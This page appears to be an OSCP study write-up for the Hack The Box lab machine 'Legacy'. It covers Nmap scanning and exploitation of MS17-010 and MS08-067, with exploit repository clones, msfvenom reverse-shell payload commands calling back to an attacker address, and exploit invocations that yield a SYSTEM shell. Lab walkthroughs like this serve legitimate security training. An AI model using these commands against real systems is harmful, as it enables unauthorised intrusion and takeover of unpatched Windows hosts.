> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/htb/oscp-like-boxes/legacy.md). # Legacy

Fig 1. Nmap full port scan

Running the full port scan on the target system, ports 135, 139 and 445 were open.

Fig 2. Nmap Aggressive scan

Next, I ran an aggressive Nmap scan using the `-A` flag. From the OS guesses, it is most likely running Microsoft Windows XP SP3.

Fig 3. Nmap vuln scanning

Using the arguments `--script vuln`, I found the target to be vulnerable to `MS08-067` and `MS17-010`. ### MS17-010 (Eternal Blue) 1. Clone the repository containing the exploit for MS17-010 using the command `git clone https://github.com/worawit/MS17-010` 2. Generate a reverse shell (`shell.exe`) using ```bash msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 -f exe > shell.exe ```

Fig 4. Generate shell.exe

3. Edit the following section inside the `zzz_exploit.py` file.

Fig 5. Before editing zzz_exploit.py file

Fig 6. After editing zzz_exploit.py file

4. Setup Netcat listener.

Fig 7. Setup a Netcat listener

4. Run the script using the command `python2.7 zzz_exploit.py 10.10.10.4`

Fig 8. Running exploit.py file

5. A reverse shell is obtained on the Netcat listener.

Fig 9. Obtained a reverse shell

6. To find the locations of the `user.txt` and the `root.txt` files, use the following commands. ```shell cd \ dir /s user.txt dir /s root.txt ```

Fig 10. Obtaining r the flags

### MS08-067 1. Clone the exploit repository using the command `git clone https://github.com/andyacer/ms08_067.git`. 2. Use the command `msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows` to generate a reverse shell shellcode.

Fig 11. Generating reverse shell shellcode

3. Running the command `python2.7 ms08_067_2018.py` shows the OS number for Windows XP SP3 English (NX) as 6.

Fig 12. Help page for the script

4. Running the command `python2.7 ms08_067_2018.py 10.10.10.4 6 445` , I managed to obtain a reverse shell with SYSTEM privileges.

Fig 13. Running the exploit script

Fig 14. Obtained reverse shell